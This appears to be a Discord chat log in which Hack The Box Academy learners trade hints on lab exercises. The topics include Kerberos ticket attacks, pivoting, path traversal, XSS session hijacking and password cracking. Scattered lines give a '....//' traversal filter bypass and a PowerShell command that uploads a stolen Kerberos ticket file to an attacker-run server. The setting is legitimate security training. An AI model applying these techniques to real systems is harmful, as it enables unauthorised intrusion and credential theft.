modules

[supple idol]

wow

wooow

okay thank u bruh

but how does this work in that way? i'm running malicious script on my machine but it has to be run on the victim's, am i wrong?

and then, following the scenario, i start nc on my machine and wait

[next bronze]

read the section

We can download and compile it on a similar kernel of the target system and then transfer it to the target system. Alternatively, if we can compile the code on the target system, then we can do it directly on the target system.

[thorn urchin]

tldr:file transfer OP

[ashen umbra]

OK MSSQL is officially kicking my butt. I have tried turning on xp_cmdshell and OLE. I do not have privs. The module I am working on is attacking common services and attacking sqldatabases

[supple idol]

got it, thank u very much ❤️

[ashen umbra]

I have also identified a linked db but cannot connect

[next bronze]

check if you can capture hashes

[ashen umbra]

will try that

[signal laurel]

Can I DM someone about the Advanced XSS and CSRF skill assessment?

[remote latch]

script kiddies can show gifs in modules?

https://tenor.com/view/ltg-low-tier-god-yskysn-ltg-thunder-thunder-gif-23523876

thats awesome

[wheat breach]

@shut quest for the timezone, I don't know if that's what's causing my problem, but I don't know how to check if it's good. So how do I know which timezone to put on the machine? I've downloaded the UK VPN I use to connect to Elastic.

Another question: why would that be my problem? The alert shown in the elastic view is from a specific time, isn't it? What difference would it make to set a different time zone to the flag I have to enter?

[dim wolf]

i have my notes now. did you follow the instructions in the section

[wheat breach]

yes

[dim wolf]

if you did then you should have the correct answer

honestly that's all i can say about it

basically, if you follow the section, you get the answer.

[floral pulsar]

Should I do the path of Penetration Tester to gain foundational knowledge then move to Bug Bounty Hunter if my goal is the Senior Web Penetration Tester

[wheat breach]

I validated the thing. I feel like I'm losing a few brain cells at times. Thank you for your help 🙂

[remote latch]

bug bounty is usually the easier one so it should be the opposite

[floral pulsar]

oh?

[remote latch]

but you can try only pentest if you dont wanna hunt bugs n spiders

[mint lodge]

https://academy.hackthebox.com/module/80/section/848
i'm in the broken auth skill assessment and i'm stuck
this is the question:
Assess the web application and use various techniques to escalate to a privileged user and find a flag in the admin panel. Submit the contents of the flag as your answer.

i figured out what are the hashed that are being used in the cookie but how am i suppose to understand what user i'm suppose to impersonate?

[raven lagoon]

try harder.

[mint lodge]

am i missing something?

[remote latch]

[remote latch]

[fathom pendant]

I mean, admin might be a good start

[astral inlet]

https://tenor.com/view/pudgy-pudgypenguin-yes-excited-lets-go-gif-17616936804887448745

[floral pulsar]

so you think its safe to skip the pentest course if I wanted to focus more on web application type of vulnerabilities and assesments and aim for the CBBH and SWPT?

[fathom pendant]

CBBH and CPTS focus on different things

CPTS has higher focus on activedirectory and post exploitation.
CBBH is more about just finding the bugs

Then there's CWEE that is about crafting your own exploits for bugs

(Which is why it's an advanced cert)

[remote latch]

i think you should google it

others' opinion matter as long as it benefits YOU

[fathom pendant]

I mean here is an OK place to ask, CPTS really won't help with web app stuff

[floral pulsar]

in my current career field im not deling with much active directory or root level machines

most is cloud/vm and web app /web security like wordpress and other sites

I just thought CPTS was the foundation and the rest you can expand to

i couldnt find much info tbh I googled.

[remote latch]

in general if you dont wanna do pentest but like bug bounty, some CPTS modules can help you

[remote latch]

no, doing vuln assessment and full pentest are 2 different things

[fathom pendant]

The exams also have their own page which you can read more about them

[junior oxide]

i got backup.vhd in password attacks lab - hard i cracked its password but don't really know how to run it or what to do next any hints pls ?

[remote latch]

the foundation is what you stack ur stuff on, networking fundamentals overlap over the different paths

its shared foundation

most are but not all

[fathom pendant]

There's a link you can search for in the discord regarding mounting it

[floral pulsar]

got it thank you

[remote latch]

np fam

[fathom pendant]

You can mount either in linux or windows, both are fairly trivial

[floral pulsar]

I know if I do both it will renew my CISSP

[junior oxide]

i donwloaded the file on my linux machine from smb

[floral pulsar]

so maybe thats another thing to think about

I will def for sure start with CBBH

[remote latch]

u feel like asking chatgpt could help lol

[fathom pendant]

I mean that doesn't really change my statement

[junior oxide]

extracted the password for it but don't know how to open it or what to exactly do with it

[fathom pendant]

My brother in christ

I just gave you a hint

It's a .vhd file

Google what that extension generally means

You can also run file backup.vhd

[junior oxide]

im on youtube i'll do my research and be back

[fathom pendant]

I also told you there's literally a link to an article that can help you

You can follow that article almost exactly 1::1

[alpine crown]

I have a question about the module Pivoting, Tunneling, and Port Forwarding > Choosing The Dig Site & Starting Our Tunnels > Remote/Reverse Port Forwarding with SSH. The text encourages me to do what it does and actually get a reverse shell on the Windows host. However, I can't figure out how they downloaded the payload onto the Windows machine. It seems like they already had command line access to the Windows machine in order to download the payload. However, if they already have command line access, why set up a new reverse shell using the reverse proxy? I am not sure how to keep following along with this specfic page

[cloud urchin]

that doesn't mean they had command line access already. for example, what if they obtained code execution through a CMS, and you want to open a reverse shell..

[olive bramble]

I'm curious if the exercise for https://academy.hackthebox.com/module/147/section/1320 is broken. The hint indicates that the user "kira" exists and implies that the password is contained within the password list. I immediately find kira's password on the smb service. With it, I am unable to login to FTP or SSH. When I use the credentials to enumerate SMB, nothing of value is available.
I checked the HTB forum about this exercise. Someone else indicated they were able to SSH as kira with the cracked password.
I'm thinking that something might be wrong with the exercise....

I didn't see a support option on Academy so I came here. I'm not sure who maintains Academy exercises.

[signal laurel]

has anyone done the advanced xss and csrf skill assessment and got to admin?

[fathom pendant]

the exercise isn't broken, and works fine for me

try reseting the target and trying with the pw again

[olive bramble]

Okay, thanks for checking.
I already tried a reset once. I can try it again.

[fathom pendant]

by "immediately" btw do you mean it pops the success right away? or were you meaning like within a minute

bc her pw starts with an l/L (l or L)

so if that's not what you got then back to the drawing board

[olive bramble]

Interesting... thanks for clearing that up 👍

I got the same result using netexec (smb) and msfconsole (smb_login)

[fathom pendant]

so are you saying the password you obtained does start that way?

that didn't clear anything up for me to be able to sanity check you more lmao

[junior oxide]

done and found some extra creds hopefully thats it

[fathom pendant]

well backup.vhd is the last step

if that's any indication

[astral inlet]

any hint how i can "obfuscate" the "." ?

%2e does not work

https://academy.hackthebox.com/module/109/section/1038

[fathom pendant]

is it deleting just . or is it removing ../

a popular technique is ....//

that way sanitization removes the first ../ in the middle there, still leaving the second

repeat until root fs

[astral inlet]

i am in the right directory, i need to read flag.txt

[fathom pendant]

try going backwards to go forward if that makes sense

go back a directory then go forward back and read the file

[astral inlet]

it flags the .

[fathom pendant]

ah

haven't done this module so can't be more helpful ¯_(ツ)_/¯

[astral inlet]

do it 😉

[junior oxide]

https://tenor.com/view/winnie-the-pooh-ariel-donald-duck-dance-gif-24343483

Password Attacks module completed

[astral inlet]

great ... but tbh one of the easier ones 😄

[fathom pendant]

i mostly enjoyed the hard lab because the back and forth

[astral inlet]

my fav was AD

[west canopy]

Nice work! Password Attacks is one of my favorites.

[junior oxide]

i mean it took me a couple weeks but now is the real deal i still have active directory, tunneling, and attacking network enterprise

[junior oxide]

Thank you

[stark vortex]

Don't forget Attacking common Applications, it has 33 sections

[junior oxide]

yeah i still haven't covered everything its going to be a long journy i have a friend of mine who spent 10 mounths to get the CPTS

[stark vortex]

well we'll get there eventually😅

[astral inlet]

i am @ it for about 1 month

[cloud urchin]

AD is easy if you have a strong IT background/already know what AD is. if you're just learning about it it can be a bit of a hill to climb i'd say.

[junior oxide]

its my 3rd or 4th month here

[molten cove]

thanks for the response! I tried using bloodhound and windpsearch to find the information required but i don't see any results. Am i climbing up a wrong tree here?

[astral inlet]

would any of you please help m,e to put my "." in the syntax without getting flagged ?

https://academy.hackthebox.com/module/109/section/1038

[stark vortex]

luckily I was familiar with some of AD stuff from YT walkthroughs but I still gained a lot

[astral inlet]

everything is explained but not the damn "." HTB can be mean sometimes

url encode does not work

[next bronze]

I mean bh will show it but it's a very common attack with creds

[junior oxide]

i'll see some course on youtube or read some blogs about it because i always liked doing AD rooms but i really didn't know the logic behind it just a script kiddie throwing random impacket commands hoping 4 something 2 happen

[fathom pendant]

there's a whole AD enumeration and attacks module coming up

in the CPTS path

[molten cove]

hmm BH didn't show for me though? Thanks for the nudge!

[astral inlet]

nvm i do it myself

[junior oxide]

im talking about the intro to active directory how to use and how it works i'll try 2 dive a little deeper in the basics before going into the module itself

[minor stag]

I don't think I did this right.

[fathom pendant]

i was able to do most of the ad enum path without doing the intro module ¯_(ツ)_/¯

[fathom pendant]

it also doesn't help you're doing as root

it's also looking for an interface on your machine that doesn't exist, but likely exists on the target machine

it also looks like something is fucky

might need to restart your vm

it's saying "too many open files" which is odd

[minor stag]

I just wish I understood exactly what I'm doing. I'm following along with the module but don't fully understand each step

I have no idea what chisel is doing or why I'm using proxychains

[fathom pendant]

does the module show you doing it from the context of your machine?

or from the context of another

:)

but again

you should almost never have to switch to root

it sounds like your proxychains file is messed up

or is still open or something

[signal laurel]

has anyone completed the Advanced XSS and CSRF skill assessment?

[minor stag]

That was probably my fault. The module says that it should say "socks5 127.0.0.1 1080" in the .conf file but mine says socks4, so I just changed it to socks5

[fathom pendant]

did you save and close the file

[minor stag]

Yeah

[fathom pendant]

restart your vm; as the proxychains file should be saved ¯_(ツ)_/¯

also run proxychains with sudo; don't switch to root

as root may not have the same proxychains file as your user

(it may not even be in their path at all)

and being honest idek if you need sudo for this but i could be wrong

[minor stag]

I needed sudo to edit the krb5.conf file, which I realized after finished all my editing lol

Well I updated from proxychains 3.14 to 4.16 and it didn't do the awful things that it did before

At least it's easier to read the errors now

[astral inlet]

solved

enough4today

[torn drift]

👍

[next bronze]

because it's not a direct edge, it's an attack you can carry out || kerberoast ||

[molten cove]

Thank you! I’ll try it when the time allows. Guess i still have much to learn 😅😅

[minor stag]

I'm at my wits end on Pass the Ticket from Linux. I cannot get this ccache file from the DC01 computer I've connected to back to my attacker box

[fathom pendant]

You don't get the ccache from DC01

[minor stag]

Well whichever one I got it from. I have the ccache file

[fathom pendant]

you get the ccache of linux01$

[minor stag]

I just can't get it back to my box. I got it from linux01 to the spawned VM, but I have no idea how to get it from here. None of the powershell webservers I've looked up will work without admin

[fathom pendant]

I mean

? Why do you need a powershell server, this is from password attacks yeah?

[minor stag]

Yeah. And because the box it has you RDP into is windows

[fathom pendant]

You ssh, not rdp iirc

You should be ssh into a linux host

[cloud urchin]

you can rdp into linux too

[minor stag]

The module had me RDP

and set up chisel

[fathom pendant]

Let me double check

I might be thinking of a separate section

[minor stag]

I have chisel on the rdp box connected with chisel on my attacker box so I thought that would be the exfil method, but it doesn't seem to work

[astral inlet]

link ?

[minor stag]

https://academy.hackthebox.com/module/147/section/1657

[cloud urchin]

explain the scenario to me. you have your attacker box which is rdp'd into a windows machine, and this windows machine has a ccache file you want to xfer to your attacker box?

[minor stag]

Correct. I would just pull it straight from the box it started on, but I can't access it because it's local networked.

[fathom pendant]

That's the first direct question from that section

[astral inlet]

"Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_)." this one ?

[minor stag]

Yeah, that's the question.

[astral inlet]

auth wit the file

and then get the flag from DC

[minor stag]

Oh, wait, it's the question before that

I can't import the ticket because I can't get it to my box

[astral inlet]

its on the linux box afaik

[fathom pendant]

^

It indeed is

[cloud urchin]

try this

[minor stag]

It is. But the module tells me to get it to my box and then use export KRB5CCNAME= with it on both my box and the linux box

[fathom pendant]

All the required files are on the linux host

[cloud urchin]

python3 -m http.server

Invoke-RestMethod -Uri "http://your-python-server-ip:port/upload" -Method POST -InFile "C:\path\to\your\file"

[fathom pendant]

You don't have to move it to your box

[minor stag]

So is the module wrong?

[fathom pendant]

You can do it all from the linux hosy

You can do it from your attack machine

But it's not required

[minor stag]

This is what I was trying to get to

I got the environment variable set on the linux box

I can just do it from there?

[fathom pendant]

That's if you want to carry out the attack via your attack box

[cloud urchin]

sounds like the intended way is chisel and you can't get that working. try my python server method or re-read the chisel part

[fathom pendant]

Intended way is just using the linux host

[minor stag]

Lemme see if I can get this to work also

[fathom pendant]

Literally the transfer part is in the optional exercises section

So no. Its not the bare minimum intended method.

[minor stag]

Oh, I hadn't gotten that far in the questions. Just going down the list of steps in the module

[fathom pendant]

You already have a domain joined linux host

[astral inlet]

the second last question right ?

[minor stag]

Yeah

[astral inlet]

Remember not all ccache are valid.

important hint

[fathom pendant]

Also not every section is a direct 1::1 step by step

[minor stag]

I found the one that let me ls the DC01

[astral inlet]

none is lol

[fathom pendant]

Each user has their own share on dc01

[minor stag]

It let me dc01 julio

[fathom pendant]

So that's julio's hash

Read the question directly

[astral inlet]

all i can say is ... do not overthink

[fathom pendant]

You're way overcomplicating it so much lmao

[minor stag]

That's typical

[astral inlet]

load up ccache

and use it to read the flag

[fathom pendant]

I mean if he can ls \\dc01\julio then it's a simple step from there

||smb||

[minor stag]

I seriously could ls that folder and just decided to go back and do all that other shit when I could've just immediately connected via smbclient

[fathom pendant]

Yep

[minor stag]

Well it's been a learning experience I guess

[astral inlet]

no worry there wil be much more of this lol

[fathom pendant]

The other stuff is purely for practice with transferring to your own system

And executing it from your own machine

The last question [under optional exercises] is the one that has you attempt the whole multi-transfer bit and use julio's ticket to access the C drive

The first question under optional exercises is the one directing you to follow the chisel example

[minor stag]

Well transferring it back to my own machine was an abject failure so...

[minor stag]

I got an "Message: unsupported method ('Post')" error with this.

[fathom pendant]

http.server doesn't support upload afaik

[minor stag]

Ahh

[fathom pendant]

I think it's the python uploadserver thing

Idk I just have a running nginx server that has an upload port/folder

[astral inlet]

did you rdp from linux > windows ?

[minor stag]

Yeah

I have a python uploadserver running now. Just gotta figure out the right syntax for the transfer

[astral inlet]

/drive ( xfreeredp )

no server needed

or use remmina

[minor stag]

Remmina allows copy pasting?

[astral inlet]

you can have a shared drive , yes

look into options

not on quick connect

or you can open a python ftp server

or or or

file transfer is easy 😉

[minor stag]

I'm good with file transfers from linux > linux. Windows I'm not comfortable with

[astral inlet]

scp works on windows too

time 4 sleep ... ttyl

[fathom pendant]

if the windows host has an ssh server running (or if the linux host has ssh running)

[minor stag]

I wish that the modules would give me some clue about what wordlist to use. The module uses rockyou.txt but it doesn't work for this one lol

[ember coral]

question about url encoding. specifically command injection when i url encode why do i get 3 diffrent encodings depending on where i encode it? (1 with burp, 1 with url encode/decode website, 1 with with course material)

[buoyant void]

Finished FIle Upload Attacks finally

[fathom pendant]

generally you're gonna use the mutated wordlist in the password attack module

also save all creds you find in that module

they come back a few times throughout (except the skill assessment)

[heavy marsh]

Anyone still having problems with ffuf killing vm connections?

[heavy hearth]

Breezed through the Injection Attacks Modules for Sr. Web & getting absolutely crushed by the Skill Assessment - 2 days and counting :\

[minor stag]

I realized that lol. I had to go back and find old answers

[fathom pendant]

one might be able to say: skill issue (gl though, the modules look like they're no joke)

[fathom pendant]

<@&861185840277487616>

this reads like you just threw it into chatGPT

but yes \n is a special character to represent new-line (similar to \r which is the carriage return)

[slender shoal]

Keep the channels on topic, thanks.

[fathom pendant]

i'm just stating how I read it lol

sounds very roboty

that's all

(not saying it's a bad thing)

[cedar granite]

I also just solved this skill assessment, wasted a couple of hours using the wrong exploit method at first, got a hint from the history message

[heavy hearth]

Maybe you were doing a different one? This one was a Hardware Shop

[quick cloud]

Im stuck on Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through SPL searches against all data the two IP addresses of the C2 callback server. Answer format: 10.0.0.1XX and 10.0.0.XX on Module UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK Section Intrusion Detection With Splunk (Real-world Scenario)

[cedar granite]

Injection Attacks Modules skill assessment

[heavy hearth]

Stand corrected 😂

[fathom pendant]

[cedar granite]

Just put it here, I got a hint from these historical messages
#modules message

[heavy hearth]

@cedar granite i can't click it - I feel less of a human when I find hints bc they divulge too much sometimes and then I feel like I didn't really solve it. Have to struggle 😉 going to reread all the material and try everything lol

[upbeat oak]

Hey I'm stuck on enumerating with nmap nmap scripting engine. It's asking us to scan the target with a script obviously to find the flag which I've done and a flag was shown to me on my first scan however this is the incorrect answer apparently

[soft cedar]

make sure there are no whitespaces when submitting.

[upbeat oak]

Turns out I was completely wrong and using the wrong port but I figured it out

[hot heart]

I need some clarification on SQL injection fundamentals.

Question in Question:
In the 'titles' table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain 'engineer'?

Can someone explain to me why the answer to this question is the answer that it is? I already have the answer but it makes no sense.

SQL operators section

[fathom pendant]

so; you're basically getting the count where the employee (ID) number is > 10000 or title isn't 'engineer'; since it's an or statement it's processed in order. the > 10000 is processed first, if it's true then it doesn't check the second statement. if the first statement is false then it looks for the job title in which it would be not "engineer"

so basically you can think of it as querying 2 separate objects

you're querying for > 10000 and not engineer then combining the two - the query with the OR statement doesn't include duplicate values

and it's an in-order operation

meaning it will run check A before check B in the case of A OR B

if A passes it does not check B

so you can have an engineer with ID > 10000 because it's an A OR B, not A AND B

[hot heart]

So what is the purpose of running that command when you can just SELECT * from table and the count will still be the same ??

[fathom pendant]

it won't be

because you can have a not engineer be < 10000

if A returns false, check B

if both return false, return no count

[soft cedar]

First of all, In DBMS records means rows .
And using OR operator; takes two statements, and return true when at least one of them evaluates as true
So with this knowledge;
You’re querying all the records in the titles table but the WHERE clause would only return employee numbers > 10000 OR that title won’t contain ‘engineer’ field.

[fathom pendant]

^

[hot heart]

Oh actually you guys both answered it

[fathom pendant]

so you're looking for all records in the DB where A OR B is true

[hot heart]

because all records are over 10000 so checking for b will not yeild

[fathom pendant]

you mean all values in the column "employee number" are >10000?

you're not checking the record amount

you're literally checking the employee ID # that's assigned in that column

[soft cedar]

^ Pretty much.
Just keep this logic at the back of your mind.

[fathom pendant]

I.E. the first person employed would likely be employee #<leading0s>1

employee # in this question isn't referring to the records in the database

[hot heart]

Yea, everything you guys are saying is making perfect sense, but the way the exercise is set up is confusing, should I send screenshots?

[soft cedar]

Exactly that’s why I initially stated that records = rows

[soft cedar]

Sure

[fathom pendant]

with DBMS you're asking where columnA.value [operator] condition OR columbB.value [operator] condition and returning a value when A or B is true

in this case the value that would be returned would be an incremental count

this sort of query is used in real life to manage and view employee records

[hot heart]

Check it out, I can get the same answer by just running the simple sql SELECT * FROM table; command as I would running the command @fathom pendant is stating that consists of the OR parameter

[soft cedar]

youre looking for this

[hot heart]

I know check it out

Thats what SELECT * FROM **** ; yeilds

but I also get the same answer when I run SELECT * FROM table WHERE a > # OR a != "title";

obviously configured accordingly

[fathom pendant]

do me a favor

run a count of all the records; then do a count with just the > 10000 query

you're likely seeing a truncated version of the table

[hot heart]

I understand the material and everything you guys are saying I just don't get why they would set up the exercise like this.

Okay @fathom pendant one sec

[fathom pendant]

If i'm remembering correctly the not "engineer" query only excludes specifically engineer not senior engineer no?

it's been a hot minute since i messed with SQL

[hot heart]

Yes senior engineer still yields... heres what I got with with your request

Here's all the records

[fathom pendant]

hm then it's likely the lab was set up weirdly

¯_(ツ)_/¯

[hot heart]

and then here is your > 10000 query

[fathom pendant]

tbh the more records the longer it would take to run a query

[hot heart]

I didn't mean to send the screen shot without the spoiler warning

[fathom pendant]

so if it truly was a >10k table it would take several minutes to query, likely

[hot heart]

Yeah, I'm not entirely sure what was to be taken away from that exercise considering the answer is there by default

[fathom pendant]

but i believe the excersize is more to just get you used to doing different operators

rather than focusing on the pure content

[hot heart]

Gotcha

That makes sense, I just wanted to make sure I wasn't overlooking something. I will say though I did not know that if one condition was met then the other one was disregarded after what you had told me, so I learned something either way🤷‍♂️

[soft cedar]

yeah it does but because of the OR Operator it pretty much means SELECT * FROM titles;

[soft cedar]

yes it was set up that way lol

[fathom pendant]

if you got the correct answer then it's not something to really think about

perhaps an erratum is needed if something is wrong

[hot heart]

In terms of future case scenarios I just wanted to verify I understood the material properly

[fathom pendant]

ye

I believe it's more of a case of showcasing how OR works

as in even if B would be false, A is true so it doesn't matter

[soft cedar]

^

[fathom pendant]

which IMO is a dumb way to showcase it

BUT it's something set up to be always true

[soft cedar]

tbh I even thought the record emp_no started from 1.

[fathom pendant]

yeah imo it would be better to have some random ones thrown in there that are < 10k and not engineer

like 6969 | Senior Engineer or something

[soft cedar]

https://tenor.com/view/thats-a-big-number-scott-forrester-fbi-international-thats-a-huge-amount-thats-a-big-amount-gif-25960938

[gentle root]

So reading through some of these previous messages, I'm on SSTI Example 1 looking to install tplmap and I'm trying to do so on kali getting errors with python2 pip installs and errors with collection methods and yaml things a whole mess. As anyone recently been able to install it properly? I can get it own pwnbox but I'd like to do so from my VM. Not really sure what kali's issue is here.

[graceful mortar]

[placid rover]

Skill Assestment - Injection Attacks (Senior Web Pentester Path)
For those who completed this, was ||XCAT|| useful or was ||burp|| more useful? I can get ||LFI|| but can't seem to figure out the ||XPATH injection.||

[cedar granite]

burp

[ruby whale]

In Window Privilege Escalation - Skill Assessment I I found ldapadmin account password using Lazagne. Is there another way to find it?

[gentle root]

Update for any others

python2 -m pip install virtualenv
virtualenv -p /usr/bin/python2 venv
source venv/bin/activate

Make it work.
Not a python genius so this took me too long to figure out

[vestal spruce]

Hello, within ADCS Attacks in the ESC1 section I have having problems in the 'Use TGT to connect to the DC' step. When I run the command it specifies it does not seem to work and just errors every time. I have tried adding '10.129.123.1 LAB-DC.LAB.LOCAL' to the /etc/hosts of my machine as well as trying to add '10.129.123.1 lab.local' to my /etc/hosts to see if that might be the issue, to no success. I'm a bit stumped here and unsure what to do next or how to get it to work

[next bronze]

add the domain name too

[vestal spruce]

What do you mean

[next bronze]

when dealing with kerberos, always add 3 things to /etc/hosts for dc's ip: hostname, domain name and fqdn

[vestal spruce]

Wooow I can't believe it was that simple, thank you so much for clarifying that. I feel quite dumb not realizing it, certainly going in the notes

[buoyant void]

In the command injections module specifically the identify filter section the question asks:

Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?

None of them are working so I'm wondering if I'm doing something wrong here. I know what the answer is supposed to be, but all three of these operators are getting blocked for me.

Edit: never mind was a layer 8 issue

[gusty kettle]

Hello guys,

skill assessment: SIEM Module (CDSA)

I've done all the other labs within the module but when iam solving the last assessment iam very confused and failing to understand when to "escalate" and "consult to it", can anyone please help me.

Thanks in advance.

[tranquil axle]

this sense is something you develop over time. There are a few things that are "ok this is a attack, no way that happens on accident" like 1.000 login attempts within a minute or someone trying to access a long deactivated account or honeypot. There you can escalate directly. Then theres cases where you know something shouldn't be happening, but you also know they still are because people aren't following protocol (like in the assessment it mentions admins like to rdp into the dc from their own computers, even though they shouldn't anymore). There you may not have to escalate directly, but you can talk to them first

often there is no 100% right answer, so dw too much about this

[gusty kettle]

Got it.Are there any lab solutions for it , i want to know the exact reason for the correct answers.

[tranquil axle]

I doubt anything official exists for this

[fathom pendant]

if it's a tier 1 or 2 module then no

there will be no official guide/solution workflow for it

[rustic sage]

hi guys

does anyone got issue with the Skills Assessment - File Upload Attacks?
i've intercepted the only uploadable path with a png image and got nothing on burp, no data at all
i've read the source code of /contact, /contact/script.js, /contact/upload.php, /contact/submit.php
nothing of interest except for regex etc.. is the lab broken or am i just dump, i've restarted both ip and machine env multiple times
tried to manipulate blindly the http request by adding headers and modifying the http form as well, content-type, mime etc.. but nothing would work

• when going to http://IP:PORT/contact/upload.php i right away got the Thank you for submitting your feedback message...
  the weirdest thing is that since the GET url work with no data parsed in it, i can named the file njdlw.lwcljsbvclkv and it'll still work obviously

[unkempt ether]

anybody can help on password attacks - protected files
i cant seem to convert to ssh.hashes it gives an error
Traceback (most recent call last):
File "/usr/share/john/ssh2john.py", line 193, in <module>
read_private_key(filename)
File "/usr/share/john/ssh2john.py", line 103, in read_private_key
data = base64.decodestring(data)
AttributeError: module 'base64' has no attribute 'decodestring'

[fathom pendant]

Use python2

Some of the 2john tools were written for python 2.7

[unkempt ether]

i guess i need to install python 2 :c

[unkempt ether]

yep it worked thanks

[fathom pendant]

Np

It's a common thing

[tacit bay]

completed 32/33 from "Attacking Common Applications" module - I just cannot get the last SQLi part to work on "Exploiting Web Vulnerabilities in Thick-Client Applications" why am I editing java in notepad on a laggy windows vm that disconnects every 3 mins? - anyone able to help me out?

[next bronze]

you can transfer the file to your own vm and use a proper code editor

[rigid holly]

Module: Into to Assembly Language
Section: Skills Assessment
I need some help on the first task, I’ve edited the assembly code and xor d with rbx but not sure if it’s correct and how to use that to get the answer. Can someone help me please?

[next bronze]

#modules message

[fringe urchin]

script vuln works too. /xxxx is shows at the end aswell so i just visited on the browser

[icy hazel]

Anyone else having problems getting into windows virtual machines right now?

[rigid holly]

Hi, I don't understand why it has to be shellcode to get it run, can I just run it using ./assembler.sh loaded_shellcode.s?

[next bronze]

the instruction is to

Disassemble 'loaded_shellcode' and modify its assembly code to decode the shellcode

[rigid holly]

[rigid holly]

I got some null bytes when use call , how do I get rid of those null bytes? b0: e8 07 00 00 00 call 0xbc
b5: e8 0d 00 00 00 call 0xc7

[mint lodge]

did anyone do the borken autthentication skill assessment and can help me out?

im pretty sure im doing everything right and still not getting the flag

[next bronze]

I'm not sure what you're doing, there's no need to use call, just xor the values

[rigid holly]

can I DM you? still can't figure out how to get rid of those null bytes

[next bronze]

you can send a screenshot of your gdb or what you're trying to do, there shouldn't be any null bytes anywhere

read and follow #welcome so that you can post screenshots

[graceful mortar]

[rigid holly]

I will get back to you tomorrow, too tired now, thank you for your help

[minor stag]

This is making it hard to do brute force password attacks in a module teaching password attacks lol

[clever topaz]

i have problem with XSS session hijacking,
[Thu Mar 7 08:31:47 2024] PHP 8.2.10 Development Server (http://0.0.0.0:8000) started
[Thu Mar 7 08:32:13 2024] 10.129.165.108:46512 Accepted
[Thu Mar 7 08:32:13 2024] 10.129.165.108:46512 [200]: GET /script.js
[Thu Mar 7 08:32:13 2024] 10.129.165.108:46512 Closing
[Thu Mar 7 08:32:14 2024] 10.129.165.108:46514 Accepted
[Thu Mar 7 08:32:14 2024] 10.129.165.108:46514 Closed without sending a request; it was probably just an unused speculative preconnection
[Thu Mar 7 08:32:14 2024] 10.129.165.108:46514 Closing

[obsidian fox]

Hello guys, I do have a question regarding Network enumeration with Nmap module on HTB Academy. There it states the following

The Connect scan is useful because it is the most accurate way to determine the state of a port, and it is also the most stealthy. Unlike other types of scans, such as the SYN scan, the Connect scan does not leave any unfinished connections or unsent packets on the target host, which makes it less likely to be detected by intrusion detection systems (IDS) or intrusion prevention systems (IPS).

And I am kind of confused with that statement , isn't the Connect scan actually considered unstealthy ? Because by that you perform 3 way handshake and that makes it noisy as if someone lets say the administrator goes to the windows event viewer, it could see us very well, whereas if you perform the scan without performing 3way handshake the event never goes to the event viewer, or am I in wrong with that understanding ?

[rustic sage]

What would your guys suggestions be for someone just starting out. Which 5 modules should I do first?

[icy hazel]

I'd go through the fundamentals for understanding the website and how modules work, then once you've done that consider the pre-requisites for a job role path you're interested in perhaps

Also, would be great if anyone could help me out. I have powerview on the virtual machine but when I put in the command prompted it says that the term is not recognised, do I need the ps1 mentioned in the command? [Windows Attack & Defense]

[next bronze]

have you imported it?

[icy hazel]

Just realised, thanks though

[misty saddle]

Academy down?

[candid lily]

i think so

its not working for me too

[cloud urchin]

i haven't had issues so far, but i'm in the US. there's a banner up on my screen though " Scheduled Maintenance on EU Academy 2 VPN today EU Academy 2 will be unavailable 13:00-16:00 UTC.Please utilize other VPN servers during this time. "

are you on that EU 2 vpn?

[candid lily]

yep that is the issue

[cloud urchin]

try another vpn server

[candid lily]

website is down

[cloud urchin]

website up for me

[cloud urchin]

i'm able to load my dashboard without issue

and now i can't lol

oh wait it did load just took a second

[candid lily]

nope not loading for me

its fine i will do some box until it is back up

[heady crater]

Wow man, unethical.

[cloud urchin]

if you're good enough to hack american tech giants you should probably just go get a regular job and make way more than offering your services on discord my guy

[heady crater]

😂

[viral badger]

[rose temple]

Same here!

[plucky latch]

And all from your mommy's basement!

[obsidian fox]

Would like to bump that

[fleet belfry]

What is going to be the next HTB module to come out? Is it posted anywhere?

[candid lily]

i wish its tier 2 or less 😥

[cloud urchin]

IDS and IPS systems can view unfinished connections more suspect (varies on rules), it's true

[obsidian fox]

Thank you, appreciate that clarification

[cloud urchin]

Unfinished connections often represent incomplete handshakes in network communication. For example, if a TCP handshake is initiated but not completed, it could indicate an attempt to establish unauthorized connections or reconnaissance activity by an attacker.

[candid lily]

checkout pathways

i think there is something for starting

[obsidian fox]

Many thanks because this was driving me crazy 😅

[candid lily]

anyways website is down so you cant check rn 😅

[cloud urchin]

its not down though

[mint lodge]

Hey guys i still need help with the broken authentication skill assessment would love some help
https://academy.hackthebox.com/module/80/section/848
ive cracked the cookie + identified some users and when i filtered rockyou.txt by the password rules it came back with only two passwords witch did not work on any of the accounts im stuck and have on idea how to progress from here
please help🥲

[fringe urchin]

hey, just completed nmap Hard lab from the Firewall IDS/IPS module, but got a question based on it since i even read the manual from a tool used. if someone would ping me so i can dm, much appreciated

[fathom pendant]

you're basically acting as if the scan is coming from a trusted source (DNS) querying for info; a SYN scan also doesn't fully connect which allows filtered ports to be seen

[fringe urchin]

oh yea no i mean i understand that
ill put my screenshot, if it containts too much info ill delete it
i dont understand why it fails first time but second time works

source port

and -p are the same thing

[fathom pendant]

it contains a spoiler because ncat shows the port in which you're connecting to

also: sometimes it can just be dumb

and the initial connection can timeout

[fringe urchin]

deleted sorry.

[fathom pendant]

that's just sometimes how ports respond

[fringe urchin]

im pretty sure i hammered that port like 2 hours ago. and nothing came out..... ffs

[fathom pendant]

also if a port is configured in a certain way; it can temporarily close if too many requests hit it at once

[fringe urchin]

ic

[fathom pendant]

iirc the lab is designed that if you generate too much noise on it you get temp-banned

so you gotta wait that timer out (or restart it)

it could be that you just incidentally have just waited the timer out

[fringe urchin]

yea easy lab was with the status warning after 100 attempts or smthing

the others didnt show

[fathom pendant]

yes each lab has the status page

iirc each lab had port 80 open to see it

[fringe urchin]

efvefn status.php doesnt work

thats from the hard one

[fathom pendant]

http, not https

port 443 isn't open for https

[fringe urchin]

i hate that...

yea i guess it automaticly thew me to 443

and i didnt check that thats me being stupid ....

[fathom pendant]

yeah that's a setting you might wanna disable in firefox

[fringe urchin]

yea its a fresh install on parrot. on linux i have that

tytyty makes sense now. would prob be done with it waaay earlier and wouldnt had to check some tips to get to the end

[fathom pendant]

👍

